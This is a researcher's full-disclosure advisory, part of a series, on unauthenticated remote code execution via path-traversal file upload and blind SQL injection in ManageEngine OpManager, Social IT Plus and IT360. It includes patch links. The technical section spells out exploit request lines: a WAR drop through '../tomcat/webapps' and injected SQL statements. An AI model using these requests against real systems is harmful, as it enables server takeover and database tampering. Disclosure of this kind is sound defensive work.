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[The ManageOwnage series, part VIII]: Remote code execution and blind SQLi in OpManager, Social IT and IT360



Hi,

This is the 8th part of the ManageOwnage series. For previous parts see [1].

This time we have a file upload leading to remote code execution and a
blind SQL injection in ManageEngine OpManager, Social IT Plus and
IT360.
ManageEngine have released an emergency fix, see details in the
advisory below. The proper fixed version will be 11.5, which will come
out at the end of the year.

I had already released a Metasploit exploit for RCE back in September
[2], which also had an emergency fix and will only be properly fixed
in 11.5, so there is no point in updating the exploit. This is just
another vector that ManageEngine have plugged while we wait for the
release of 11.5. Note that this is all for OpManager. No indication
was given of when Social IT or IT360 will updated with the security
fixes. However the emergency patches be applied to all applications.

Anyway details are below, and I have updated the full text advisory in [3].

Regards,
Pedro


>> Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
>> Discovered by Pedro Ribeiro (pedrib@xxxxxxxxx), Agile Information Security
==========================================================================
Disclosure: 27/09/2014 (#1 and #2), 09/11/2014 (#3 and #4) / Last
updated: 09/11/2014

>> Background on the affected products:
"ManageEngine OpManager is a network and data center infrastructure
management software that helps large enterprises, service providers
and SMEs manage their data centers and IT infrastructure efficiently
and cost effectively. Automated workflows, intelligent alerting
engines, configurable discovery rules, and extendable templates enable
IT teams to setup a 24x7 monitoring system within hours of
installation."

"Social IT Plus offers a cascading wall that helps IT folks to start
discussions, share articles and videos easily and quickly. Other team
members can access it and post comments and likes on the fly."

"Managing mission critical business applications is now made easy
through ManageEngine IT360. With agentless monitoring methodology,
monitor your applications, servers and databases with ease. Agentless
monitoring of your business applications enables you high ROI and low
TOC. With integrated network monitoring and bandwidth utilization,
quickly troubleshoot any performance related issue with your network
and assign issues automatically with ITIL based ServiceDesk
integration."


>> Technical details:

(#1 and #2 were previously released in September, see [2])

#3
Vulnerability: Remote code execution via file upload (unauthenticated
on OpManager and Social IT)
CVE-2014-7866
Constraints: no authentication needed for OpManager and Social IT;
authenticated in IT360

a)
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>

Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4;
IT360 10.3/10.4; Social IT 11.0

b)
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00
<... WAR file payload ...>

Affected versions: Unknown, at least OpManager v8 build 88XX to 11.4;
IT360 10.3/10.4; Social IT 11.0


#4
Vulnerability: Blind SQL injection (unauthenticated)
CVE-2014-7868
Constraints: no authentication needed for OpManager and Social IT;
authenticated in IT360

a)
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=[SQLi]
POST /servlet/APMBVHandler?OPERATION_TYPE=Delete&OPM_BVNAME=aaa'%3bcreate+table+pulicia+(bolas+text)%3b--+
Affected versions: Unknown, at least the current versions (OpManager
11.3/11.4; IT360 10.3/10.4; Social IT 11.0)

b)
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=[SQLi]
 --> runs direct query in db!
POST /servlet/DataComparisonServlet?operation=compare&numPrimaryKey=1337&query=create+table+panicia+(bolos+text)
Affected versions: Unknown, at least the current versions (OpManager
11.3/11.4; IT360 10.3/10.4; Social IT 11.0)


>> Fix:
Upgrade to OpManager 11.3 or 11.4, then install patches [B] and [C].
This patch can be applied to all the applications but only for the
latest version of each (OpManager 11.3/11.4, Social IT 11.0, IT360
10.4).
The fix will be included in OpManager version 11.5 which should be
released sometime in late November or December 2014. No indication was
given for when fixed versions of IT360 and Social IT Plus will be
released.

[B] https://support.zoho.com/portal/manageengine/helpcenter/articles/sql-injection-vulnerability-fix
Resolves #3

[C] https://support.zoho.com/portal/manageengine/helpcenter/articles/fix-for-remote-code-execution-via-file-upload-vulnerability
Resolves #4



[1]
http://seclists.org/fulldisclosure/2014/Aug/55
http://seclists.org/fulldisclosure/2014/Aug/75
http://seclists.org/fulldisclosure/2014/Aug/88
http://seclists.org/fulldisclosure/2014/Sep/1
http://seclists.org/fulldisclosure/2014/Sep/110
http://seclists.org/fulldisclosure/2014/Nov/12
http://seclists.org/fulldisclosure/2014/Nov/18

[2]
http://seclists.org/fulldisclosure/2014/Sep/110

[3]
https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt